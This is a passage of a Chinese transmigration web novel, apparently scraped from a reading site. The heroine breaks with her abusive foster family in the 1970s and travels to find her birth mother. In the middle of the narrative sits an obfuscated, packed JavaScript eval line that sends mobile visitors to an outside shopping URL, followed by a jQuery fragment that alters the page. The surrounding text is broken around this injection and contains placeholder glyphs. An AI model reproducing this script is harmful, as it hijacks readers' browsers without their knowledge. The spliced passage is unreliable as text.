感受到孟胜霞走近,孟夏一个多余的眼神都不想给她,连头也没抬,只是收拾着自己的东西。

    原书中孟胜霞的戏份也不多,嫁人以后,仍然不断的对原书中女主进行挑拨找事儿。他们一家子都算是炮灰,显然作者对他们着墨并不多。

    孟夏想着,忽然旁边伸出来一只手,狠狠的扯走了她的旧樟木箱。

    樟木箱被扯的关节处发出吱呀一声,摔到了地上。里面的东西全部散了出来,七零八碎的散开在地上。

    孟胜霞“哼”了一声,言辞愈发犀利:“爸爸现在出去了,没人给你撑腰了!你抢了我本该属于我的东西这么多年,你知道我怎么过来的吗?!”

    孟夏没心思跟他扯东扯西,只是蹲下身,重新把散落出来的东西全部塞回箱子里。

    “你居然敢偷拿手表!你怎么敢的?!这是属于我的!你别想拿走!”孟胜霞尖锐的声音响在耳畔,她下意识的抬起脚想要去踩孟夏纤细的指尖。

    “你的?”孟夏冷了脸,一把握住孟胜霞的脚踝,轻轻一扯,她便失去了平衡,四仰八叉地摔在地上。

    70年代国内大部分家庭和普通建筑的地面以水泥地为主,城市少数单位福利房、公房会做水磨石,这一下摔在地上可不好受,可让孟胜霞痛的脸色一阵扭曲。

    “啊!孟夏……你个贱人!”她咬牙切齿,怒目圆睁地瞪着孟夏。

    孟夏神色冷淡如冰,“这么多年,你当我在这里就好过了?你们占着我,让我起早贪□□家里干活,现在要出嫁了,也不让我回去见我的亲生母亲,什么心思昭然若揭,是怕以后没人给你们端茶倒水,没人伺候你们?”

    孟胜霞显然是没想到这一层,她脸色扭曲一阵,忍着痛大骂道:“孟夏你这个婊子!这么多年吃我穿吃我喝,现在赖在我家不走,还反倒污蔑说我们不让你走!我妈给你找的对象那么好!你现在还想拿走属于我们家的东西!不可能!我1毛钱都不会让你带走!”

    孟夏自知跟这种人说话没什么意思,也就敛了神色不再理会她。

    可是孟胜霞显然没有停下的意思,继续怒骂:“孟夏你就和你那个贱种妈,天生的劳碌命,恨不得你们都早点死!”

    孟夏的亲生母亲养大了孟胜霞,如今却被她这么说,饶是谁人听了都不会乐意。

    下一秒,还没等孟胜霞反应过来,孟夏的巴掌就已经落在了她的脸上。

    孟夏嘴角含笑,目光却凌厉。

    她扬手扇完,歪头笑看着孟胜霞懵掉的样子,声音轻却带刺,“长嘴是用来讲人话的,不是用来喷粪的。家里的东西我想拿就拿,你算个什么东西敢拦?这巴掌,算给你补的家教,记牢了。”

    孟胜霞睁大眼睛,不可思议的捂着自己一半火辣辣的脸。

    突然间她的目光带上了一丝委屈,求助性的看向孟夏的身后。

    孟夏站在原地,没有转身。

    苏梅带着一身怒气走了进来。

    “小霞,你怎么了,你怎么了?”苏梅怜爱又心疼地摸了摸孟胜霞的脸蛋,看向孟夏时,眼底已经是毫不掩饰的厌恶。

    “孟夏,你居然敢打你妹妹!你现在真是胆子大了是吧?!昨天就告诉你要去的地方,今天还敢在这里欺负你妹妹!真是这么多年把你宠上天了,不知道天高地厚!”

    “打她,是她该打。”孟夏脸上又变得没什么表情。“我在这里收拾行李,只不过是拿了爸给我的一块手表,怎么就属于她了呢?”

    “你胡说!”孟胜霞哭起来,眼泪像珠子一样往下掉,楚楚可怜的模样,她靠在苏梅身边,“是她走还想拿我的东西,我不给她,她还打我!”

    苏梅被女儿的哭声戳得心口发疼,她转头对着孟夏就是一巴掌,清脆的响声在屋里炸开。

    “孟夏你个白眼狼!小霞是你妹妹,她拿你点东西怎么了?你一个捡来的野种,吃我们家的住我们家的,供你读书就不错了,还敢跟你妹妹争?”

    “捡来的野种?”

    孟夏被打得偏过头,嘴角渗出血丝,却笑得更狠,“苏梅,你摸着良心说,这些年我起早贪□□家里干活,赚的钱哪一分没贴补家用?我的衣服、鞋子,哪一样不是我省吃俭用攒的?现在我替她嫁给这个穷困潦倒的农村人,你不问青红皂白就打我,还说我是野种?”

    “反了你了!”

    苏梅气得浑身发抖,指着孟夏的鼻子骂,“我告诉你孟夏,从今天起,你别想再花家里一分钱,也别想从这个家里拿走一分钱,也别想再踏进这个家门一步!我们孟家,没你这个忘恩负义的东西!”

    孟父这时从外面进来,看到屋里的架势,皱着眉劝了句:“行了,吵什么呢,有话好好说。”

    “好好说?”苏梅一把推开他,“老孟,今天必须把话说清楚!这孟夏我是养够了,心比天高还敢打妹妹,留着也是个祸害!从现在起,她跟我们孟家一刀两断,生死各不相干!”

    孟胜霞躲在苏梅身后,偷偷抬眼看向孟夏,眼里闪过一丝得意。

    孟夏看着眼前这对偏心的养父母,和装可怜的妹妹,心里最后一点温情彻底熄灭。她擦了擦嘴角的血,缓缓直起身,目光平静:“好,断绝关系。”

    她求之不得。

    她转身拿起收拾好的简单行李,带好了亲生母亲的地址,没有再看屋里的人一眼,一步步走出了这个她生活了十几年的“家”。

    门被她轻轻带上,也彻底关上了她与孟家的所有过往。

    在路上,孟夏的心情倒是没有那么的沉重,她这一半火辣辣的脸,让她心里生出了第一个希冀——她要升官,她要发财,她要让这一家子后悔!

    她可是手拿原著的人,孟胜霞就算嫁给刘科长的儿子,也必定不会过上好日子。

    这是一条她知道万劫不复的的路,可是这是孟胜霞自己选的。总有一天孟胜霞会为自己嫁给了刘科长的儿子而后悔。

    70年代,坐小火车得先去火车站售票窗口买硬板票,孟夏揣着孟父偷偷塞给她的零钱,挤在熙攘的车站里。

    她背着自己的行李,攥着印着黑字的纸质票,跟着人流检票进站。

    站台没有护栏,绿皮小火车哐当驶来,她扒着车门挤上去,车厢里挤满了人,过道、连接处都站着旅客,行李堆在脚边,煤烟味混着汗味飘在空气里。

    孟夏找了个角落扶着椅背站定,窗外是掠过的田野和矮屋,正在随着火车飞速行驶而一片模糊。

    绿水镇。

    她亲生母亲住的地方。

    不久后,孟夏提着自己的行李,随着人流下了车,这里比不上县中心那般繁华,空气中却弥散着淳朴的气息。

    孟夏身心疲惫,她现在对于自己日后会在哪里,过的好不好,也没什么打算,只能走一步算一步。

    她上辈子,学习一直挺好,是邻居们家中的别人家的孩子。小时候家境很好,高三一直在住校,那年寒假回家,她才得知,父亲去世了。

    这道血淋淋的伤口,撕开了她童年里最梦幻的保护伞。对于当时小小的她来说,就好像天都塌了一样。她不敢相信,明明自己的父母两人一直都如此善良,怎么上天偏不怜惜,让这个原本无比温馨的家里发生这样的事情?

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713311|208471||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    高考落选后,她开始借食物消愁,狂吃不胖地她,意外的对美食格外地感兴趣。

    二十五岁的她,成了某音著名的美食博主,她自学了很多菜系,也致力于做出更美味的、更方便的食物,微博粉丝几百万多万。

    只可惜,到了70年代,别说美食了,能糊口就算是生活过关。

    孟夏叹口气,刚把包袱向上抬了抬,忽然旁边有人叫住她。

    “妮子,你外地来的吧?来看亲戚的?找谁?”

    孟夏愣了愣,她一抬头,才发现自己已经走到了村子的门口。土路颠簸,可她却沉浸在自己的世界里不知不觉。

    “啊,婶子,我是来找吴桂芳的,她是在这里吧?”孟夏扬起标准的微笑,一双眼睛水灵灵的,让人不自觉的对她好感十足。

    “哎,对呢,吴姐家就在……南头儿最靠里的那一家,门口还养着鸡呢,你去找找吧妮儿。”

    孟夏找进门的时候,木门并没有锁着。她在门前叫了两声,试图打听里面到底有没有人。

    半晌过后,门后面忽然透出两只眼睛,怯怯地看着她,并没有开口。

    孟夏赶忙开口:“你好,这是吴桂芳家吗?”

    小女孩声音弱弱地回答:“你是……”

    “妈妈不在家……”

    孟夏叹了口气,看这小女孩似乎很害怕她的样子,弯了弯眉毛,安慰的语气开口:“哦,好呢,谢谢你呀,可以告诉我她什么时候回来吗?”

    “妈妈和隔壁王婶儿去割猪草了……我……我也不知道。”

    孟夏只得点点头,吴桂芳没回来,她哪里好意思进门?更何况这个小姑娘,看着怯生生的,自己还是不要去惊扰她了。

    孟夏背着包袱百无聊赖之际,告别了小姑娘,自己在村子里打算先转一转。

    绿树村是典型的农村,几乎是一家一间土房子,每家的前面都几乎是菜地,也不发种这几棵枣树的。泥土地的最大坏处就是一下雨地面就会变得泥泞,车轮一旦碾过,就会留下明显的痕迹。

    孟夏以为自己穿到70年代的生活已经够艰苦了,没想到自己亲妈这边还是这样的生活条件,也不知道嫁到周阑雨那边,自己还能不能适应的了……

    她叹了一口气,顺着门口乱七八糟的你脚印,往村外的山坡上走去。

    她现在着实心乱如麻,一会见到了自己的亲生母亲,又该怎么说?说自己回来了?但是自己立刻又要去嫁人了?

    到底嫁不嫁人,孟夏心里其实也没底儿,只不过是因为——

    第一,她想迅速摆脱孟家,好为自己日后谋打算。

    第二,周阑雨虽然穷困潦倒,但是好在英年早逝,身体虚弱也意味着至少不会家暴。

    孟夏来自21世纪,早不是这个70年代普遍的“女孩嫁个好人就一辈子安稳”的思想,嫁给谁对她现在来说都无所谓,毕竟她的未来是要由她自己去打拼出来的。

    她走着走着,右眼皮却抑制不住地跳了起来。

    俗话说“左眼皮跳财,右眼皮跳灾”,虽然孟夏一向是不信这些,可是她刚抬起手摸了摸自己的眼皮,就听见不远处荒坡上忽然的一声惊叫——

    “啊啊!!!!”

    声音凄惨,慌乱,不像是年轻姑娘发出的,孟夏虽说不是爱管闲事的人,可是她心中的慌乱还是让她下意识的往那边跑去!

    她太担心,万一是吴桂芳!

    孟夏卯足了劲,一口气跑到那不远处的荒坡,周围遍布着灌木丛,孟夏气喘吁吁,扶着腰。

    看见眼前那一幕,孟夏还是禁不住深吸了一口气!